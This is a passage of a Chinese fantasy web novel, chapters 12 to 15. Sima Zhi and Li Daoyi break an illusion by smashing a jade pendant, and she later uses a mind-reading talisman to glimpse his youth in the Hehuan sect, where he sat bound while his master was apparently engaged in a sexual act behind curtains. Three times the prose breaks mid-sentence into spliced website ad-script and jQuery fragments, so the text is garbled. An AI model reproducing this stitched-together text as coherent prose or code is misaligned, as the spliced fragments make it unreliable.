司马稚看着他那怪异的神情，双肩颤了颤，“你这什么表情？”
司马稚说着，拿出一张火符，将脏衣衫烧了个干净。
空气中弥漫的那股腥臭味渐渐消失，司马稚这才放松了一些，开始考虑起要怎么从这里出去的问题。
“按理来说，我们杀了那个长毛怪，应该就能攻破幻境了呀！”司马稚疑惑。
李道意闻言，扬了扬眉，刚才的欲念还在他脑中没有散去，他还想着用玄冰刺进她的体内。
但又想着要司马稚毁了自己的神魂，一时间竟有些难以抉择。
司马稚自顾自地说着：“我都已经克服我最害怕的东西了，为什么还出不去啊？这个幻境连边际都看不到，我们到底进入了什么离奇幻境？”
“李道意！”司马稚在地上，坐直了身子。
李道意想了想：“你杀了我就能出去了。”
又是这一句话！
她才不会被他轻易骗了。
李道意换了个说法，“或者，让我杀了你也行。”
司马稚：“……”
司马稚冷静和他分析道：“做事别这么冲动，我们目前还是相亲相爱的同门师兄妹。”
李道意突然笑起来，他回想着之前两次，司马稚来杀他的情景，她似乎都是冲动行事。
原来这一次，她还要精细谋划一番了么？
司马稚喃喃道，“长毛怪是我害怕的东西，那现在这个漫无边际的幻境……”
司马稚顿了顿，视线落在慵懒随意的李道意身上。
她不言，李道意也明白她想说什么。
两人相持片刻，司马稚直接了当地说：“你害怕这个？”
李道意冷哼了一声，从鼻尖溢出轻蔑和不屑：“什么？”
司马稚问：“现在这个场景，是你害怕的？”
李道意：“你觉得呢？”
司马稚：“我觉得是。”
虽然觉得很奇怪，但司马稚的确找不到别的原因。
她想了想自己攻破长毛怪的办法，一比一复刻到李道意身上。
司马稚提议道：“要不你跪下来，亲一亲它？”
李道意：“？”
“就这个地面啊，”司马稚指着脚下的地说道，“说不定你亲了，我们就能出去了。”
12. 012
李道意沉着一张脸，用看傻子的眼神打量着司马稚。
司马稚不屑地哼了一声，“看什么看？你不试试，怎么知道不能成功？”
李道意环顾一圈，这是何处他再熟悉不过了，这个幻境不是他想打破就能打破的。
他已经不知道等过了多少个两百年了，这一次，不过就是再等七天而已。等这七天过去，他再次找到司马稚的时候，他一定可以结束这不休止的回溯。
所以，李道意完全不在意能不能出去。
急的只有司马稚。
司马稚见李道意怎么都不愿意亲地，便在李道意面前蹲了下来，试探道：“反正我们现在都出不去，不如和我聊聊？少、少主，你的心愿是什么啊？”
李道意躺在木椅上，一脸胡说八道的模样：“天下太平，飞升成仙。”
司马稚虽然觉得他的愿望和平常修仙者没什么不同，但也正是因为太平常了，这才一点不像是李道意真实的想法。
他在剧情里可是承受了九百九十九道天雷，这样的结局，系统还要安排她进来刺杀李道意，足以说明这人不是什么好东西。
司马稚心中窒息，李道意的心思让人捉摸不定，她也找不到正确的解决办法，而那个脑残系统也消失得无影无踪。
一个没有任何攻略的游戏，她要怎么才能通关？
司马稚越想越无语，干脆将自己乾坤袋里的东西全部拿出来，整理一遍之后，又全部放了回去。
这幻境里虽然用不了修为，但符文还是可以用的。
对啊！
司马稚恍然，李道意用不了灵力，那他全身的修为不就和没有一样嘛！
那现在的他，岂不是和凡人没什么区别？！
司马稚在自己带出来的符文里翻出了一张鉴心符，紧紧握在手中。
“李道意，”司马稚挑了挑眉，“反正在这儿也无聊，我之前学过看手相，要不我给你看看？”
李道意眼神轻轻地飘过她，都没在她身上停留。
司马稚吹嘘道：“……真的，我之前就是专门干一这行的。”
司马稚捏着李道意的衣袖摇了摇，“把你手给我看看呗。”
李道意摊开手，他皮肤苍白，掌心的薄茧也很明显。
李道意问：“你想怎么看？”
司马稚找准时机，一把握住了李道意的手，符文夹在两人掌心，热意袭来，李道意微微挣扎了一下，符文瞬间消失。
符文生效，司马稚眼前闪过一道白光，感觉自己仿佛走近了同样的一片幻境之中。
入目皆是浓白色，面前少年的身影漫无目的地走着，他没有任何方向，也找不到出口。
前方也是白茫茫的一片，他不知疲倦地走着。
“李道意。”司马稚追了上去。
这里和刚才的幻境几乎一模一样，但那鉴心符不是说能看见对方的想法吗？
难道李道意想的就是，这样一直走一直走，就能攻破幻境了么？
他没那么傻吧！
就连司马稚都知道，这无边无际的幻境光靠走是不行的。
司马稚走上前去拉住李道意的小臂，“等会儿，你现在在干什么呢？”
少年的面容较现在的他还要更加青涩一些，身高似乎还没有长到现在的高度。
不过，这里面的他，还是一头银白色的头发。不一样的只是他长发凌乱地披散着，耳边的碎发也没有绑成两根小辫。
李道意歪了歪头，他左耳依然戴着那合欢花的耳坠子，想来是他从小戴着的。
他问：“你是谁？”
司马稚愣住，这鉴心符不知把她的神魂带到了什么时候，这李道意还是不认识她的样子。
司马稚还没回答他，就听李道意提议道：“你能带我出去么？我可以用所有灵力和你交换。”
她抬起头来，面前的这个李道意看起来脆弱又乖巧，与真正的他那副气得人七窍生烟的样子完全不一样。
他主动拉起司马稚的手，放在他的胸口处。
司马稚挣了挣，却没挣脱出来。
这个位置，她之前用剑刺进去过。
面前的李道意温柔地向司马稚解释道：“玄冰幻境的灵力现在都在我体内，你若是领我离开此处，我愿意将灵力全都给你。”
如果这是真实的，那司马稚肯定非常乐意。
但司马稚清楚，这只是鉴心符带她看到的假象，是存在于李道意脑海中的过去，亦或者是他的假想。
李道意见司马稚一脸茫然，叹了口气，他平静地陈述道：“你也不知道怎么出去。”
司马稚顿了顿，看着面前“乖巧”的李道意，生了些坏心思。
司马稚引诱地问他：“我知道怎么出去，但你先告诉我，你从这里出去后的心愿是什么？”
李道意认真想了想，笃定地开口：“自然是要去拯救苍生，远离生之苦。”
他语气有些骄傲，那双眸子清澈透亮，仿佛对此抱有很强的期待。
“……”
但司马稚却懂了，这人口中说的天下太平，结果是天下人都死绝了，那自然就太平了。
司马稚“啧”了一声，面前的这人似乎是从前的李道意，既然两处幻境都一模一样，那之前的李道意又是怎么出去的？
司马稚问他：“你是怎么进来的？”
李道意声音冰冷，仿佛已经被脚下的寒冰浸透，他叹了口气：“是被人关进来的啊。”
司马稚环顾四周，这里的确和那魔域地牢的幻境一模一样，那李道意他……分明是知道破局的办法的。
司马稚接二连三地发问：“谁将你关进来的？你在这里待了多久了？”
她的确不够了解李道意的过去，毕竟在她心中，李道意不过是个不让她喜欢的游戏角色而已，她没必要去了解他。
但现在，她不得不在鉴心符失效之前，找出离开幻境的方法。
面前的李道意歪了歪头，轻声细语地告诉她：“我忘了，从我醒来就在玄冰幻境之中。”
玄冰幻境、玄冰……
司马稚突然反应过来，刚想开口，眼前的场景突然变换，她再一眨眼，手中还紧紧握着李道意的手。
李道意挑了挑眉，“鉴心符？”
他掌心用力，一把将司马稚拉近，她脚下一个趔趄，摔在了李道意身上，下巴硬生生磕在他的膝盖骨上。
他还没将她的手放开，反而握得更紧了些：“你看到了什么？”
司马稚挣了挣，“我知道怎么出去了！你快放开我！”
“回答我，”李道意掐着她的手腕，逼迫司马稚仰起头来，看向他，“你看见了什么？”
司马稚微微支起身子，朝着李道意的胸口撞了下去，狠狠撞了下去，“你这什么语气？！我就看到你之前被关在玄冰幻境里面，那里和现在这个鬼地方一
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
模一样！”
李道意深深地看了司马稚一眼，眉心皱在一起，缓缓将她的手放开，揉了揉自己的胸口。
李道意轻咳了两声，沉声问道：“所以、你想出的办法是什么？”
“嘁。”司马稚别过脸去，转了转自己的手腕，纤细的腕骨残留着泛红的掐痕。
司马稚背过身去，将乾坤袋里的玄冰玉佩拿出来，“用这个。”
李道意从没见过这枚玉佩，之前不知回溯过多少次，在他的记忆里都没有这枚玉佩。
“这是什么？”李道意问。
“是……”司马稚顿了顿，现在还不能告诉李道意实话，“玄冰玉佩，我们现在说不定就在这里面。”
李道意站起身来，脸色阴沉着，而那嘴角的笑意却越来越深：“你是说，这个幻境是这枚玉佩造出来的？”
那他千百次回溯的那两百年算什么？
“应该是，”司马稚看着李道意越来越不悦的神情，往后退了半步，“但……我不知道怎么用。”
李道意拿过她手中的玉佩，仔细端详着，他的眼尾通红，直直地盯着玉佩。
玉佩通体冰润细腻，玉佩带给他的感觉与他之前生活的玄冰幻境没什么差别。
司马稚说的是真的。
李道意冷笑道：“这是上古神器，你又是从何而来？”
司马稚眼神有些飘忽，“这修仙不都是讲究机缘的嘛，这玉佩也是我外出游历的时候，机缘巧合下得到的。既然你说这是上古神器，那想来是和我有缘了。”
李道意打量着她，魔族修士，满口谎话。
这玉佩关了他两百年，如今却出现在司马稚手中。
这更加证明了李道意的猜想，司马稚就是上天送给他的礼物，她说不定真的能满足他的愿望。
司马稚见他多想，急忙岔开话题：“我见识浅薄，所以，少主……这玉佩怎么用啊？”
少女的确好玩，求他的时候就叫他“少主”，厌恶他的时候就大声叫他“李道意”。
李道意从前都是在幻境中长大的，到了剑宗之后，接触的活人也不多，千百次的回溯，也是与死人打交道的多。
他这还真是第一次见这么多变的人。
李道意的神情冰冷，颇像是他之前斩杀傀儡的表情，那样轻描淡写。
司马稚提议道：“少、少主，我有个办法，你要不要考虑一下？”
闻言，李道意这才将视线落在司马稚身上。
司马稚咽了咽口水，猜测道：“那什么、不如我们把玉佩摔了，玉佩碎了，这幻境会不会就破了？”
李道意问：“若是幻境不破，该如何？”
司马稚咬牙，“试一试就知道了！”
司马稚手中握着玄冰玉佩，先在心里向李沧舟道个歉，这玉佩今天得毁在她手上了。
下一秒，司马稚将玉佩抛向空中，拔剑将其斩了个对半。
李道意脸色微变，一直存在于他记忆中，束缚他多年的幻境，此刻从两人的脚下开始消散。
黑雾渐渐吞噬白气，将这里的寒冰都淹没覆盖。
李道意体内充沛的灵力开始乱撞，从他那胸前的伤口开始外溢。
司马稚也感觉到了身后一股莫名的灵力，刚转过身，就见李道意对着她笑得开心。
他耳尖的合欢花坠子还在乱颤。
“司马稚。”
“果真是你。”
13. 013
在看见魔域的一瞬间，司马稚感动得几乎快落下泪来。
那幻境实在太过压抑了，入目皆是浓白，什么都看不见，司马稚不敢想象，如果是长期被困在里面出不来的话，会有多么崩溃。
玄冰玉佩碎成了两半，落在司马稚脚边。
司马稚捡起碎掉的玉佩，正好见李道意若有所思地盯着自己。
“……”司马稚顿了顿，“你看，这不就出来了嘛！”
李道意朝她伸出手，接过她手中的玉佩，玉佩断裂之处一道微弱的莹光钻进李道意的指腹之中。
那股冷意钻心，李道意向后一退，被司马稚伸手掐住了腰。
又是同样的位置，同样的力道。
李道意清醒过来，垂眸看着司马稚的手：“你又掐我。”
司马稚辩解道：“我这不是看你没站稳嘛！我就扶你一把呀！”
李道意将玉佩还给她，“这是、李沧舟给你的。”
他的语气一点都不震惊，也很平静地说出了这句话。
司马稚张了张唇，叹了口气：“你怎么知道的？”
李道意收回视线，那双眼睛冷漠得有些吓人，“这里面有他的灵力。”
司马稚将玉佩收进乾坤袋里，等回剑宗之后，问问李沧舟有没有什么修复的办法吧。
千点星见二人完好无损地出来，饶有兴趣地朝着李道意挑了挑眉。
“恭喜二位呀！”千点星走上前来，“这位小友就是剑宗鼎鼎大名的李道意吧？那长星剑不愧是上品名剑。”
李道意惜字如金，只是微微点了点头，而他手中的伞剑闻言却高兴得不行。
司马稚悄悄瞪了千点星一眼，他这演的根本不像是魔君，一看就是个冒牌货。
而千点星却亲昵地曲着手指，敲了敲她的额间，红色的印记被他收回掌心。
李道意在一侧睨着两人亲密的互动，眼尾扬了扬。
她不是魔域不待见的散修么？
如今看起来，她和这假魔君的关系还挺好。
司马稚偷偷向千点星使了个眼色，看向面前的李道意。
他还是那副无所谓的态度，不由得让司马稚想起那个鉴心符里面见过的李道意。
比起现在的他，幻境里的李道意单纯直率许多。
“诶？”司马稚反应过来，问千点星：“荀疏和蕙心还没出来吗？”
千点星摆了摆手，“你二位还是我见过从十九层地牢出来得最快的，另外两位小友，恐怕难了。”
司马稚眉间蹙在一起，随着千点星看过去，半空中突然出现一张天幕，而那天幕之上正是司马稚与李道意执手的画面。
画面中两人看起来格外亲密，十指相握，相依相偎。
司马稚：“……”
“哈哈哈……”千点星检查着天幕，辩解道：“这是天幕卡住了。你们修仙界的灵网堂真是小气，老是苛待我们魔域的灵网，用着总是卡顿。”
天幕上的画面卡在那里一动不动，一如现在的司马稚。
她那时只是想对李道意用鉴心符啊！
这样的画面为什么还被千点星这个崽种记录一下来了？！
司马稚小心翼翼地侧眸，打量着李道意。
李道意与她对视，猜测道：“你害怕？”
李道意也仰起头去看那天幕，他被用了鉴心符后失去了意识，他还没想过这画面会被人记录下来。
他指尖颤了颤，掌心似乎还留有鉴心符和司马稚的温度。
司马稚嘴硬道：“我有什么好害怕的？我这不是怕这件事传出去，对少主的名声有影响嘛。”
“原来，你是在为我着想，多谢你了。”李道意恍然道。
“……”他这话说的，让她想反驳都反驳不了。
千点星不断向着天幕输送灵力，过了许久才修好了天幕，上面停滞的画面终于开始变换，出现了荀疏和卓蕙心的画面。
李道意趁机微微侧身，低头在司马稚耳边警告她：“不过，幻境之事不准说出去。”
司马稚耸了耸肩，学着他那副假装淡然的样子，她指了指天幕，“这……大家不都看到了么？”
“你用鉴心符看到的，”李道意轻咳了一声，神情略微有些别扭，“不准说。”
司马稚偷笑，她还不知道李道意这么要面子。再说了，她在幻境里也没看到多少实质性的内容。
最多就是看到了年少版的李道意。
司马稚仰头问道：“那我替你保密，有什么报酬么？”
李道意想了想，直白道：“鉴心符是修仙界的禁符，若是此事让人知晓，就等着被推下落霞峰吧。”
“禁、禁符？”司马稚嗓子一紧，“你骗我的吧！珍宝阁阁主都没有告诉过我这个符不能用。”
李道意轻哧一声，“你信我、还是信他？”
“……”那她当然是信珍宝阁阁主了！
他这话问得，司马稚这完全不用纠结啊。
司马稚仰头看去，天幕上的荀疏和卓蕙心还沉浸在幻境之中。
但司马稚却看不到他们遇见的怪物是什么，只能见到他们所作出的反应。
卓蕙心一直在荀疏面前狂奔着，而荀疏却视若无睹，他握着自己手中的剑，一下又一下地挥动着。
汗水一滴一滴从他脸上划过，荀疏整张脸热得通红。
卓蕙心喊叫着：“仙长！快救我！”
卓蕙心跑了许久，但荀疏一直沉浸在自己的世界里。
大概是觉得荀疏不会帮自己，卓蕙心咬牙捡起脚边的竹棍，不断在面前挥舞。
“我、我不会怕你们的！”卓蕙心脸上的泪和汗混合在一起，她乱挥舞着向身后的妖怪挥去。
卓蕙心从小遇见的妖魔鬼怪众多，都是因为自身特殊的体质，导致她备受折磨。
卓蕙心也说不清楚，这是天赐的福气，还是天道对她的惩罚。
但正当卓蕙心一心一意与妖魔鬼怪对抗之时，那群妖魔却突然消失了。
卓蕙心瘫坐在地上，大汗淋漓。
而荀疏却还沉迷于每天挥剑三万次。
司马稚看着卓蕙心气喘吁吁地走到荀疏面前，她脸上还残留着泪痕，看起来楚楚可怜。
她下意识瞥了一眼李道意的神情，他一点儿也不在意荀疏和卓蕙心能不能出来。
司马稚问千点星：“幻境之中已经过去几日了？”
“不急不急，这也才过去三日而已。”千点星指着天幕说着，“不过嘛，看这小友恐怕很难出来哦。”
天幕中的荀疏一直沉浸在自己的
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
世界之中，不管卓蕙心怎么叫他，他都没有反应。
司马稚走上前去，狠狠踩了千点星一脚，然后将千点星拉到一旁。
司马稚回头看了一眼李道意正认真地看着天幕上的情况，才回过头，压低了声音对千点星说：“你是猪吗？！你把魔君关在幻境里，你还得意起来了是吗？！”
“啊？……魔君？”千点星狐疑了一瞬，接着站直了身体，一脸正气，“本君就是魔君。”
司马稚似乎感觉自己头顶有黑鸦飞过：“……千点星你……”
和人机有什么区别？！
千点星拍了拍她的肩，“放心好了，我的小圣女，魔君若是连幻境都出不来，那还如何做这魔域之主？”
司马稚见他对荀疏胸有成竹的样子，不知千点星是从哪儿来的自信。
毕竟现在的荀疏是失去了所有记忆的，他连魔君的记忆都没有，如今只不过是个修仙界的修士，若是被困在幻境之中，那魔域可就真的完蛋了。
李道意走上前来，掐着司马稚的后颈，将她往自己身边拖。
李道意低眸：“小师妹。”
这奇怪的称呼让司马稚背后一颤，“干、干嘛？”
李道意问：“你和魔君很熟？”
“……从前见过。”司马稚语气僵硬。
千点星长袖一挥，一阵浓烟飘过，他又坐到了轿子上去，而那天幕上的画面还在继续。
“二位，既是从琉光宗来的贵客，魔域自然不能亏待了二位。”千点星长指一点，李道意手中突然出现了一张令牌，“令牌可以随意出入魔宫。魔域事务繁忙，本君就不陪你们了。七日期至，你们便去为那二位道友收尸吧。”
眨眼间，千点星乘坐的轿子便消失了个无影无踪。
李道意拿着那枚令牌，随着令牌上的指示，走近一方小院里。
小院里早有伺候的魔修等候着，在见到司马稚的那一刻，几人热情地迎了上来。
“小圣女？”
“小圣女你终于回来啦！圣女你怎么和一个剑修走在一起？！”
“……”
司马稚回过头去，正巧与李道意打量的视线相撞，她哈哈笑了两声，“我就是个散修……”
李道意颇为善解人意，“我知道，你们魔域追求人人平等，魔域之中所有的女魔修都是圣女，而男魔修都是魔使。”
被李道意这么一说，司马稚还放松了一些，“少主不愧是少主啊！连魔域的情况都掌握得一清二楚。”
魔域的确是这样，修为高深被称为大圣女，像司马稚这种，小得不能再小了。
千点星安排的这个小院，正好是司马稚刚穿越过来时住的院子，这院子不大，总共也才两间房。
不过小院里面种着一个千年槐树，已生出了树灵，司马稚之前最喜欢的就是和老树灵聊天。
司马稚悄悄靠上去，拍了拍槐树树干。
李道意的声音从身后响起，叫停了她走近房间的步伐：“李沧舟将玉佩给你的时候，说了什么？”
司马稚愣了一下，正是她沉默的这一瞬间，李道意的眸子沉了下去。
“我知道了。”
他虽然尾音轻扬，但周身的气息很是沉重。
“你随时可以完成他给你的任务。”
14. 014
魔域入夜后的天空是紫红色的，入夜后温度光线暗了些，温度低了些，除此之外，别的倒和白日没什么区别。
司马稚趁夜起身，摸着黑走到槐树身边，她熟悉地拍了拍槐树的枝干。
“诶！”树灵显出形态来，老槐树的声音像个幼稚的小孩：“小稚你总算回来了！”
槐树弯下一方枝干，司马稚趁机坐了上去，分枝托着她回到原位。
“老槐啊，”司马稚晃着双腿，“魔域的地牢第十九层的刑罚到底是什么呀？”
她现在虽然出来了，但脑子还是懵懵的，她和李道意遇见的怪物与卓蕙心身后的妖怪完全不一样。
槐树叶晃了晃，树灵化成一个空灵的小男孩，坐到了司马稚身侧。
“我数一数昂，”槐树灵伸出指头，一个一个回忆着，“……第十九层，应该是恐惧幻境吧？犯人进入幻境之后会遇见自己最害怕的事物，就像是心魔一样，如果不能战胜幻境的话，七日之后就会化成一滩血水，供幻魔食用。”
司马稚深吸一口气，庆幸自己还好出来了，只不过看那天幕里荀疏和卓蕙心的情况，难道荀疏害怕的是每天挥剑三万次么？
槐树灵好奇地问：“小稚你在幻境里看到什么了呀？”
“……”司马稚回忆起那个长毛怪，脑子突然短路了一下，“也没遇见什么。对了，老槐，你听没听说过玄冰玉佩？”
槐树灵闻言，差点从树枝上掉下去，他急忙伸出抱着自己的本体：“玄冰玉佩？！那不是上古神器嘛！我只知道它是几千年前一位飞升的上神留下的东西，但从未现世过，所以是真是假我也不太清楚。”
上古神器，现在正碎成两半，躺在她的乾坤袋里。
司马稚感觉自己的乾坤袋烫得发慌。
司马稚捂着自己的腰间的乾坤袋，问道：“那这玄冰玉佩有什么用啊？如果玉佩碎了的话，还能……”
完蛋了。
要是李沧舟知道了，说不定还没到身殒的时候，就被她气死了。
“听说这玉佩中蕴藏着至高无上的灵力修为，如果将玉佩灵力占为己用，那应该能一举跃至大乘期，”槐树灵面露羡慕的神色，“像我这种树灵，修行几千年也到不了大乘期的修为，若是有了玄冰玉佩相助，那岂不是离飞升只有一步之遥了！”
“玉佩碎了？小稚你不会有这个玉佩吧？”
妈呀，乾坤袋里的碎玉佩更烫了。
“没有！我怎么可能有……”司马稚猛地摇了摇头，“这个玉佩，是哪位上神的啊？”
槐树灵挠了挠头：“要是我没记错的话，应该是如絮仙子的。小稚可以找魔君要藏宝阁的符灵，里面应该会有记载。”
司马稚对这个如絮仙子没什么印象，游戏剧情里好像都没有提到过这个飞升上□□号。
槐树灵语气羡慕：“这几千年来，修仙界中只有如絮仙子飞升，几个名门大宗都没有飞升的上神。”
司马稚靠在主干旁，朝着远处的魔宫看去，“如絮仙子是哪个宗门的？”
槐树灵想了想，这好像是很久远的事情了。
“如絮仙子是合欢宗的掌门，按理来说如絮飞升之后，这合欢宗应该修仙界第一流，不过我听从修仙界回来的魔修们说，现在的合欢宗还是在灵气最弱之处。”
司马稚刚想继续问，一垂眸，李道意不知何时站在了槐树下。
他的眸子亮晶晶的，微微仰着头，仿佛满眼都是对她的期待。
司马稚这还是第一次见这么温柔的李道意，暗紫色的光晕落在李道意淡青色的道袍上，多了几分瑰丽。
槐树灵却害怕地躲到了司马稚身后，树灵紧紧靠在司马稚的肩上，小心翼翼地对司马稚说：“这人，不善。”
司马稚扬了扬眉，心中没什么恐惧，她早就知道李道意不是什么好人啊。
司马稚拍了拍槐树灵：“放心好了，不会伤害你。”
李道意虽然坏，但司马稚在游戏剧情里，从来没有见过李道意滥杀无辜。
不过，危害世间的妖魔杀得倒是不在少数……
槐树灵生为妖灵，怕李道意也是正常的。
李道意手中掐诀，现出长星剑，他坐在长星剑上，飞到了比司马稚还略微高一些的位置。
李道意环顾一圈，将视线落在司马稚身上，还有她身后那只瑟瑟发抖的槐树灵。
李道意问：“睡不着？”
司马稚“嗯”了一声。
李道意揉了揉自己额角，看起来十分苦恼，“难怪在这里讲故事。”
司马稚愣了愣，“……”
她探查情报，怎么就是讲故事了？！
李道意坐在长星剑上，绕着槐树飞了一圈，又停在司马稚面前。
李道意的笑容冷冷的，一看就没什么好心思：“听一棵从未离开过这里的树灵讲故事，你不如多看一些修仙界通史。”
他话没说完，就从自己的乾坤袋里拿出一个小本，抛到司马稚怀里。
李道意托腮看向她一脸菜色的表情：“这是大师兄让写的每日汇报，既然小师妹这么无聊，就多锻炼锻炼吧。”
李道意说着，嘴角的笑意掩都掩不住。
“少主，”司马稚也呵呵冷笑两声，“不过这种事情，我可不敢越俎代庖，还是得让少主亲自来。”
“越俎代庖？”他口中重复着这几个字，“是哪四个字？小师妹学识深厚，不像我大字不识几个。”
就装吧！谁能装得过你啊！
司马稚如果没玩过这个游戏，说不定还真被他骗住了。这修仙界日后惊才绝艳的道君，不仅是修为高深，连才学也是相当深厚。
司马稚翻开小本，略微扫过几眼，里面记载了他们从离开剑宗时起，所做、所遇见的所有事。
司马稚不由得背后一紧，就连她在剑宗镇上买了三个大肉包子都记得清清楚楚！
司马稚翻到最新的那一页，上面写着他们在幻境中遇见的怪物，而司马稚对李道意用的那一张鉴心符的事，只字未提。
李道意是真不想被人知道他记忆中的那个幻境。
越是这样，越让司马稚好奇。
李道意明明这么在意，面上却毫不显露。
这一切好像都和她乾坤袋里面的那枚碎掉的玄冰玉佩
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
有关。
“还给你。”司马稚将小本又丢到李道意怀里，“李道意，你是不是知道，很多人不知道的秘密？”
李道意双手环胸，歪头问她：“什么秘密？你和树灵讲的那些也算是秘密么？”
司马稚问：“难道不是吗？”
李道意无奈：“修仙界通史里早就写过。”
司马稚也不和他绕弯，直白地问：“……所以，你和玄冰玉佩有什么关系？”
李道意笑了笑，“你想知道？”
司马稚晃了晃双腿，很少惬意地点了点头。
“好啊，”李道意驱使着长星剑离司马稚更近了一些，“你用什么和我换？”
司马稚：“……”
换？她如今身上什么都没有，还能有什么能和李道意交换的？
司马稚想了想，将乾坤袋里面的一袋灵石递到了李道意面前，“给你。”
李道意还以为是司马稚是将那碎掉的玄冰玉佩丢给了自己，打开一看却是荀疏给她的灵石。
李道意眼睫颤了颤：“你用灵石收买我？”
司马稚问：“不够吗？”
司马稚搜了搜乾坤袋里的灵石，又捧了一把，“没了，我就这么多。”
李道意哭笑不得。
他或许能知道，司马稚被放逐到修仙界的原因是什么了。
司马稚看着李道意还沉默着，皱了皱眉：“你也太贪心了吧！”
李道意瞥了一眼过去，正巧看着槐树灵往司马稚身后躲去，又隐进树干中去。
小树灵比司马稚乖多了，还懂得看人眼色。
李道意看了看暗紫色的天空，他喜欢带些红色的东西，好过那幻境中的空茫。
李道意的声音低沉，他语气平静：“我在玄冰幻境中待了两千年。”
司马稚瞪大了眼，嘟囔着：“别以为我不知道，你现在才两百多岁，怎么可能在幻境里面就待了两千年？”
李道意无所谓地笑了笑，他本来就没想过司马稚会相信这一件荒谬的事情。
李道意向着司马稚摊开手，掌心出现一道鉴心符，“要看么？不过，看完之后，你要答应我一件事。”
李道意心眼太多了，不得不让司马稚警惕起来。
司马稚问：“你不是说，这个鉴心符是禁符吗？”
李道意被司马稚的表情逗笑，“偷偷用，没人知道。”
司马稚抬眸看向李道意的眼睛，他温柔的语气极具迷惑性，司马稚小心翼翼地伸出手，在触碰到李道意指腹的一瞬间，她又想猛地抽回去。
然而，却被李道意一把抓住。他的指腹冰凉带着湿意，钻心的触感从指尖向上蔓延。
“你想我答应你什么？”司马稚想要缩回手，但李道意攥得很紧，她若是使劲的话，恐怕是会把李道意从长星剑上拽下去。
“一件简单的事罢了，”李道意眼眸真挚，“你动动手就可以做到。”
司马稚在李道意掌心勾了勾指尖：“动手了。”
司马稚抬眸，朝着他狡黠一笑，见李道意怔住了一瞬间，她掌心朝着李道意掌心的鉴心符紧贴了上去。
15. 015
司马稚在鉴心符里见到的并非是那一片幻境，此处青烟缭绕，空气之中蔓延着一股靡丽的香气。
层层帘幕遮掩着房内的景象，司马稚好奇地往里面走去。
十来岁的少年双手双脚都被绑在木椅上，他无法起身，也挣脱不开身上的捆仙绳。
司马稚刚走到他身边，才看清了少年的脸，这人和李道意长得一模一样，只不过少年生得消瘦，他两侧的脸颊都凹陷了下去。
而且面前的这个少年一头干枯毛躁的黑发，与李道意那好看的银白色的长卷发完全不一样。
这个少年就像是虚弱的小动物化身成了人，如今还被人绑在椅子上，动都不能动。
少年那一双眼睛正虎视眈眈地盯着司马稚。
很明显，少年能看见司马稚。
“你是……”司马稚不敢确认，“李道意？”
少年不答，转过脸去，直直盯着那层层叠叠的帘幕。
司马稚也忍不住看过去，帘幕后穿出细碎的声音，像是哀泣又像是低呼。
司马稚想走进去看一看，而身边的少年发现了她抬脚之后，反应突然强烈起来，他挣扎着想要绷开捆仙绳的束缚。
司马稚刚停下脚步，一脸狐疑地看向少年。
里间传来一青年尴尬的嗓音：“如、如絮，谁在外面？”
被叫做“如絮”的女子嗓音温柔似水：“我宗弟子学艺而已，你若不愿，尽可离去。”
青年愣了一瞬，“……无碍，继续吧。”
帘幕下不断有灵气溢出，少年也明显感受到了那股不明气息，而在看到司马稚想往里面走去的时候，少年挣扎得更厉害了。
李道意拧紧了眉头，眼尾通红，乞求着司马稚：“……不要、不要进去。”
李道意现在的声音与在剑宗的他不一样，现在的声音更清澈一些，多了几分少年感。
而在剑宗的李道意，声音沉得和他的心一样如在深渊。
司马稚刚撩开帘幕的一角，就发现里面还有更多层的帘幕。
李道意低呼：“不可以！”
直到她收回手，李道意才算平静了一些。
里面的动静更大了一点，女子的惊呼不断溢出。
“他们在干什么？”司马稚蹲在李道意面前，疑惑地看着溢出的灵力，“这灵力不要钱么……？”
这房间的布置看起来富丽堂皇，与剑宗的屋子完全不一样，看起来也不像是剑宗。
李道意闻言，双眼红了个透，看见司马稚还对里面好奇，不得不开口阻止她的好奇心：“修炼。”
司马稚愣了愣，“修炼？”
这人骗她也不找个好点的理由。
里面传出来的灵力越来越多，空气中弥漫的那股怪异的气息也越来越浓郁。
司马稚绕着李道意走了一圈，也没发现这捆仙绳应该怎么解开。
司马稚还是想进去看看，而李道意拼尽全力在阻止着自己。
司马稚问：“他们是谁？这里是什么地方？”
李道意同时也想要挣脱捆仙绳，而他越是挣扎，那捆在他身上的仙绳更紧。
“师尊，”李道意声音沉了下去，也垂下了眼眸，不敢再看司马稚，“里面的、是我师尊。”
司马稚伸手感受着从帘幕里传出来的灵力，两种不同的力量交混在一起，那青年的声音也不像是李沧舟的声音。
司马稚看了一眼李道意，以及绑着他的捆仙绳，这绳子她没法解开。
“坐稳了。”
司马稚一边说着，一边用力将在木椅上的李道意一把抱起，连带着木椅一起，司马稚将他抱出了屋外。
瘦弱的李道意根本没什么重量，对于司马稚来说，比起之后的李道意，现在抱起他轻而易举。
李道意仍然挣扎，双脸气得通红：“你做什么？！放我下来！”
司马稚说，“那里面的灵力不对，我带你出去。”
还好她体术强，力气大，不然她没有修为，还真不一定能抗得动李道意。
房间里面的两种灵力在冲撞中交缠，司马稚在魔域的时候，包括在剑宗的时候，也从来没有遇见过这种情况。
每个人的灵力都是不同的，在修仙界中，不可能会出现两股灵力融为一起的情况。
殿外大雪漫天，厚厚的白雪覆盖着长长的阶梯，司马稚刚站了一会儿，雪花立马落了满身。
萧萧的风声在两人之间穿梭，司马稚低眸，面前的李道意瘦弱又无措，那双眸子清澈透亮，一点儿都看不出来日后那黑心眼的样子。
如果不是面前这人的长相和李道意这么相似，司马稚也不确定能认出来他。
司马稚问：“这是哪里？”
“……”李道意不言，自从司马稚把他从殿中带出来之后，他沉默得像一块石头一样。
司马稚威胁道：“你要是不跟我说话，我就把你抱进去。”
司马稚看得出来李道意很恶心留在殿中，虽然不知道是什么原因，但也可以用来威胁他。
李道意仰头看向司马稚，那通红的眼尾让司马稚忍不住心惊胆战，她还没见过这么脆弱的李道意。
就算是之前为了完成任务，毒杀李道意的时候，她也从未见过李道意红眼。
李道意压低了声音：“合欢宗。”
司马稚：“什么？”
李道意：“这里是合欢宗。”
司马稚彻底愣住，这里是合欢宗，李道意刚才又叫里面的人为师尊？
如絮仙子是李道意的师父？
但游戏剧情里面对他的描写不是这样的啊！
